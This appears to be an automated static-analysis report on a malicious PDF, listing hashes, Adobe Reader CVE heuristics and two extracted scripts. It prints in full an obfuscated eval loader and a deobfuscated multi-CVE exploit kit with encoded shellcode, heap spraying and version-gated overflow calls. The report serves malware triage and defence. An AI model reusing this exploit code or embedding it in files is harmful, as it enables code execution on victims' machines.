Malicious PDF — malware analysis report

Static analysis result for SHA-256 79f077fc120197b3…

MALICIOUS

PDF

44.8 KB
MD5: 8a4492c6b65787301fb7f2f08213d8e0 SHA-1: 62a7f3b1c2715e1eb5972694a8cc21b722a773d5 SHA-256: 79f077fc120197b377d3ff9c5e13d0feaa3b304acaf0167a88857aec6825d267
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be a multi-stage exploit kit designed to download and execute a secondary payload, indicated by the presence of shellcode and heap spraying techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
8af0ef67493ca4352367612e4afb4a13141b93d9d64fdb661f4f7d432743d2ee		 pdf-javascript-stream PDF /JS object 1 at offset 0xB040 522 bytes
Preview script
First 1,000 lines of the extracted script
eakaw='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=qwe()[a[0]+a[5]+a[1]+(a,t[0])];
b=qwe['qfwqf'];
e('iverq=t'+('qwtwqt','hisundefined').replace(b,'.')+'ti'+'t'+t);
s=iverq[v+a[6]](10,4);
s+='tr';
vrc=e('S'+'tring.fro'+iverq[s](1,9));
q=iverq[s](14);
qddt = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=qddt.length');
for (i = 0; i < k; i+=2) {
	ecd = qddt[i+1] + ('erybjkerl',qddt[i]);
	eakaw += vrc(ecd);
}
e(eakaw);
legacy_pdfkit_stage_000.js
bbe4d3c3f40a3b43d0c6b3a9f10c81cc13c04deac9bcb6a6df66dddf19049672		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3660 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3eb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u7434%ue2aa%uc3fa%ue5e8%uffff%u9dff%u7578%u7474%uf52a%u2898%u7475%ufd74%uf993%u643b%u1bf9%u4520%u23af%u2725%u2727%u2727%u2727%u2721%u1c27%u7570%u7474%u2221%u1c27%u1a1b%u7474%u011c%u1806%u2019%ufa1c%u7a3a%u9c98%u743c%u7474%u9c24%u7408%u7474%ua48b%ub0f7%u1c7c%u9b3b%u713b%u9c24%u7418%u7474%ua48b%ub4f1%u6301%u201e%u872d%u1cde%u8a06%u62c7%u699c%u7474%u2474%u259c%u7474%u8b74%u27a4%u8a1e%ufd1c%u751b%u9cc9%u747c%u7474%u9c24%u7448%u7474%ua48b%u4514%u10b4%u24ff%uff44%u7826%u26ff%uff60%u5c06%u6ccd%u7474%u4574%u458b%ud8b4%u1548%u7608%u5458%ubbb5%u7579%u96b3%uf584%u2f8b%u3ec8%uff1e%u6436%u66ff%uad01%u30fd%u6850%ub715%uff14%u5018%uff50%u4831%u20ff%u0c71%u9e75%u3eff%uff6c%u542e%u9f75%u4097%uff3d%uff40%u9a75%u8b45%ub445%ud888%ub4f0%u7300%ubbb5%u7579%u9fb3%u4f80%u5008%u015c%uff95%u502e%u9f75%uff12%u3f78%u2eff%u7568%uff9f%uff70%u9c75%u30fd%u6850%ub615%u747c%u9b9c%u8b8a%u1c8b%u0000%u4e04%u5b5b%u1b16%u1a06%u1516%u1b06%u0c1a%u175a%u191b%u165b%u5b1c%u5a10%u1c04%u4b04%u4912%u4245%u1152%u4149%u0074';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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